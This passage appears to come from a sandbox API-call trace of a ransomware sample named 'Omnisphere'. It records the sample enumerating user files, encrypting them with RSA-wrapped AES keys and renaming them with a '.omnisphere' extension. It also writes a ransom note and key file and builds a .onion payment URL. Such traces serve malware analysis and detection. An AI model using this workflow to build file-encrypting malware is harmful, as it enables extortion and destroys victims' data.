nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xb0, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0115.176] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xbf8c33d8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd38540c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe79990a9, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xb0, cFileName="..", cAlternateFileName="")) returned 1 [0115.177] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xbf8e963a, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe7972e3b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xe79990a9, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x53, dwReserved0=0x0, dwReserved1=0xb0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0115.177] GetProcessHeap () returned 0x1600000 [0115.177] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe0) returned 0x16302c0 [0115.177] PathCombineW (in: pszDest=0x16302c0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", pszFile="desktop.ini" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini" [0115.177] StrStrW (lpFirst=".omnisphere", lpSrch=".ini") returned 0x0 [0115.177] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0115.177] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x3e0cdd4 | out: lpFileSize=0x3e0cdd4*=83) returned 1 [0115.177] GetTickCount () returned 0x115ccd2 [0115.177] GetTickCount () returned 0x115ccd2 [0115.177] GetTickCount () returned 0x115ccd2 [0115.177] GetTickCount () returned 0x115ccd2 [0115.177] GetTickCount () returned 0x115ccd2 [0115.177] GetTickCount () returned 0x115ccd2 [0115.177] GetTickCount () returned 0x115ccd2 [0115.177] GetTickCount () returned 0x115ccd2 [0115.177] GetTickCount () returned 0x115ccd2 [0115.177] GetTickCount () returned 0x115ccd2 [0115.177] GetTickCount () returned 0x115ccd2 [0115.177] GetTickCount () returned 0x115ccd2 [0115.177] GetTickCount () returned 0x115ccd2 [0115.178] GetTickCount () returned 0x115ccd2 [0115.178] GetTickCount () returned 0x115ccd2 [0115.178] GetTickCount () returned 0x115ccd2 [0115.178] GetTickCount () returned 0x115ccd2 [0115.178] GetTickCount () returned 0x115ccd2 [0115.178] GetTickCount () returned 0x115ccd2 [0115.178] GetTickCount () returned 0x115ccd2 [0115.178] GetTickCount () returned 0x115ccd2 [0115.178] GetTickCount () returned 0x115ccd2 [0115.178] GetTickCount () returned 0x115ccd2 [0115.178] GetTickCount () returned 0x115ccd2 [0115.178] GetTickCount () returned 0x115ccd2 [0115.178] GetTickCount () returned 0x115ccd2 [0115.178] GetTickCount () returned 0x115ccd2 [0115.178] GetTickCount () returned 0x115ccd2 [0115.178] GetTickCount () returned 0x115ccd2 [0115.178] GetTickCount () returned 0x115ccd2 [0115.178] GetTickCount () returned 0x115ccd2 [0115.178] GetTickCount () returned 0x115ccd2 [0115.178] CryptAcquireContextW (in: phProv=0x3e0c85c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c85c*=0x1668c58) returned 1 [0115.179] CryptImportKey (in: hProv=0x1668c58, pbData=0x3e0c7c4, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c868 | out: phKey=0x3e0c868*=0x16396e8) returned 1 [0115.179] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x75, dwBufLen=0x80 | out: pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x80) returned 1 [0115.179] CryptDestroyKey (hKey=0x16396e8) returned 1 [0115.179] CryptReleaseContext (hProv=0x1668c58, dwFlags=0x0) returned 1 [0115.179] CreateFileMappingW (hFile=0x3c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x53, lpName=0x0) returned 0x388 [0115.179] MapViewOfFile (hFileMappingObject=0x388, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x53) returned 0x1480000 [0115.180] CryptAcquireContextW (in: phProv=0x3e0c84c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c84c*=0x1668f00) returned 1 [0115.180] CryptImportKey (in: hProv=0x1668f00, pbData=0x3e0c804, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c85c | out: phKey=0x3e0c85c*=0x1639628) returned 1 [0115.180] CryptSetKeyParam (hKey=0x1639628, dwParam=0x4, pbData=0x3e0c840*=0x2, dwFlags=0x0) returned 1 [0115.180] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c848*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c848*=0x10) returned 1 [0115.180] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.181] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.181] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.181] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.181] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.181] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.181] CryptDestroyKey (hKey=0x1639628) returned 1 [0115.181] CryptReleaseContext (hProv=0x1668f00, dwFlags=0x0) returned 1 [0115.181] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x53, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0115.181] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cddc, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0cddc*=0x524, lpOverlapped=0x0) returned 1 [0115.183] GetProcessHeap () returned 0x1600000 [0115.183] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2f0) returned 0x1688438 [0115.183] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\desktop.ini.omnisphere")) returned 1 [0115.525] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini.omnisphere.id" [0115.525] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\desktop.ini.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0115.636] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c864, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0c864*=0x524, lpOverlapped=0x0) returned 1 [0115.639] CloseHandle (hObject=0x3b4) returned 1 [0115.701] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0115.701] CloseHandle (hObject=0x388) returned 1 [0115.701] SetEndOfFile (hFile=0x3c0) returned 1 [0115.741] FlushFileBuffers (hFile=0x3c0) returned 1 [0115.746] CloseHandle (hObject=0x3c0) returned 1 [0115.748] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned 1 [0115.748] GetProcessHeap () returned 0x1600000 [0115.748] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1688730 [0115.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0115.748] GetProcessHeap () returned 0x1600000 [0115.748] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f120 [0115.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0115.748] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0115.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0115.748] GetProcessHeap () returned 0x1600000 [0115.748] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16873a8 [0115.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16873a8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0115.749] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0115.749] GetProcessHeap () returned 0x1600000 [0115.749] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf8) returned 0x164bc18 [0115.749] PathCombineW (in: pszDest=0x164bc18, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\!DECRYPT_OMNISPHERE.txt" [0115.749] GetProcessHeap () returned 0x1600000 [0115.749] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x167df28 [0115.749] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0115.751] WriteFile (in: hFile=0x3c0, lpBuffer=0x167df28*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0cdfc, lpOverlapped=0x0 | out: lpBuffer=0x167df28*, lpNumberOfBytesWritten=0x3e0cdfc*=0x588, lpOverlapped=0x0) returned 1 [0115.752] CloseHandle (hObject=0x3c0) returned 1 [0115.753] GetProcessHeap () returned 0x1600000 [0115.753] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1688730 | out: hHeap=0x1600000) returned 1 [0115.754] GetProcessHeap () returned 0x1600000 [0115.754] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xee) returned 0x1638010 [0115.754] PathCombineW (in: pszDest=0x1638010, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\unique_decrypt.key" [0115.754] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0115.755] WriteFile (in: hFile=0x3c0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ce10, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ce10*=0x5a0, lpOverlapped=0x0) returned 1 [0115.757] CloseHandle (hObject=0x3c0) returned 1 [0115.758] GetProcessHeap () returned 0x1600000 [0115.758] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1638010 | out: hHeap=0x1600000) returned 1 [0115.758] GetProcessHeap () returned 0x1600000 [0115.758] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16302c0 | out: hHeap=0x1600000) returned 1 [0115.758] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf8e963a, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe7972e3b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x61db3fcd, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x197, dwReserved0=0x0, dwReserved1=0xb0, cFileName="File Explorer.lnk", cAlternateFileName="FILEEX~1.LNK")) returned 1 [0115.758] GetProcessHeap () returned 0x1600000 [0115.758] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xec) returned 0x16302c0 [0115.758] PathCombineW (in: pszDest=0x16302c0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", pszFile="File Explorer.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk" [0115.759] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0115.759] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\file explorer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0115.759] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x3e0cdd4 | out: lpFileSize=0x3e0cdd4*=407) returned 1 [0115.759] GetTickCount () returned 0x115cf14 [0115.759] GetTickCount () returned 0x115cf14 [0115.759] GetTickCount () returned 0x115cf14 [0115.759] GetTickCount () returned 0x115cf24 [0115.760] GetTickCount () returned 0x115cf24 [0115.760] GetTickCount () returned 0x115cf24 [0115.760] GetTickCount () returned 0x115cf24 [0115.761] GetTickCount () returned 0x115cf24 [0115.761] GetTickCount () returned 0x115cf24 [0115.761] GetTickCount () returned 0x115cf24 [0115.761] GetTickCount () returned 0x115cf24 [0115.761] GetTickCount () returned 0x115cf24 [0115.761] GetTickCount () returned 0x115cf24 [0115.761] GetTickCount () returned 0x115cf24 [0115.761] GetTickCount () returned 0x115cf24 [0115.761] GetTickCount () returned 0x115cf24 [0115.761] GetTickCount () returned 0x115cf24 [0115.761] GetTickCount () returned 0x115cf24 [0115.761] GetTickCount () returned 0x115cf24 [0115.761] GetTickCount () returned 0x115cf24 [0115.761] GetTickCount () returned 0x115cf24 [0115.761] GetTickCount () returned 0x115cf24 [0115.761] GetTickCount () returned 0x115cf24 [0115.761] GetTickCount () returned 0x115cf24 [0115.761] GetTickCount () returned 0x115cf24 [0115.761] GetTickCount () returned 0x115cf24 [0115.761] GetTickCount () returned 0x115cf24 [0115.761] GetTickCount () returned 0x115cf24 [0115.761] GetTickCount () returned 0x115cf24 [0115.761] GetTickCount () returned 0x115cf24 [0115.761] GetTickCount () returned 0x115cf24 [0115.761] GetTickCount () returned 0x115cf24 [0115.761] CryptAcquireContextW (in: phProv=0x3e0c85c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c85c*=0x1669230) returned 1 [0115.763] CryptImportKey (in: hProv=0x1669230, pbData=0x3e0c7c4, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c868 | out: phKey=0x3e0c868*=0x1639b28) returned 1 [0115.763] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x75, dwBufLen=0x80 | out: pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x80) returned 1 [0115.763] CryptDestroyKey (hKey=0x1639b28) returned 1 [0115.763] CryptReleaseContext (hProv=0x1669230, dwFlags=0x0) returned 1 [0115.764] CreateFileMappingW (hFile=0x3c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x197, lpName=0x0) returned 0x388 [0115.764] MapViewOfFile (hFileMappingObject=0x388, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x197) returned 0x1480000 [0115.764] CryptAcquireContextW (in: phProv=0x3e0c84c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c84c*=0x1668bd0) returned 1 [0115.765] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0c804, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c85c | out: phKey=0x3e0c85c*=0x1639b28) returned 1 [0115.765] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0c840*=0x2, dwFlags=0x0) returned 1 [0115.765] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c848*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c848*=0x10) returned 1 [0115.765] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.765] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.765] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.765] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.765] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.765] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.765] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.765] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.765] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.765] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.766] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.766] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.766] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.766] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.766] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.766] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.766] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.766] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.766] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.766] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.766] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.766] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0115.766] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, 